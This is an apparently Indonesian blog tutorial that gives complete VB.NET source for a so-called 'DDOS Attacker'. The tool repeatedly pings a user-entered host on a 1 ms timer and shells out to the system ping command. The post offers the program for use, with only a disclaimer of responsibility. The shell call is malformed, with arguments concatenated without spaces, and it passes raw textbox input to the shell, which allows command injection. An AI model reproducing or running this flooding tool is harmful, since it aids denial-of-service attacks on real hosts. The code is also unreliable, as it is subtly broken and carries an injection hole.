Tadinya saya tidak mau membuat program yang dapa merugikan orang lain seperti DDOS Attacker visual basic 2008/ vb.net namun setelah berfikir dalam waktu yang cukup lama akhirnya keputusan untuk membuat DDOS Attacker visual basic 2008/ vb.net ditentukan, mungkin software ini saya peruntukan hanya untuk orang yang ingin belajar mengembangkan Programing language saja, jadi kalau ada seseorang yang menggunakan ilmu atau pelajaran yang didapat dari blog ini untuk kepentingan pribadi saja, saya tidak akan dan tidak mau bertanggung jawab sama sekali.
Baiklah, sekarang bukalah Visual basic 2008 anda kemudian buatlah satu form dengan kmponen sebagai berikut:
- 1 label
- 1 textbox
- 2 button
- 1 listbox
- 1 Timer dengan ketentuan sebagai berikut:
- Interval = 1
- Modifier = Friends
Lihat gambar dibawah:
Kemudian klik 2 kali formnya, hapus semua kode yang ada dan masukkan kode dibawah ini:
Lalu coba jalankan program yang sudah dibuat tersebut, maka hasilnya akan seperti gambar dibawah ini:Imports System.Net
Public Class form1
Dim pi As New System.Net.NetworkInformation.PingOptions
Dim pipi As New System.Net.NetworkInformation.Ping
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
Button2.Enabled = True
Button1.Enabled = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim host As IPHostEntry = Dns.GetHostByName(TextBox1.Text)
Dim ip As IPAddress() = host.AddressList
Shell("Ping " & (TextBox1.Text) & "-1" & "6500")
pipi.Send(TextBox1.Text)
Try
ListBox1.Items.Add("Ping Reply From " & ip(0).ToString & " time=" & pipi.Send(TextBox1.Text).RoundtripTime & " TTL=" & pipi.Send(TextBox1.Text).Options.Ttl)
ListBox1.SelectedIndex += 1
Catch
ListBox1.Items.Add("Timed Out")
ListBox1.SelectedIndex += 1
End Try
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
Button1.Enabled = True
Button2.Enabled = False
End Sub
End Class
0 comments:
Speak up your mind
Tell us what you're thinking... !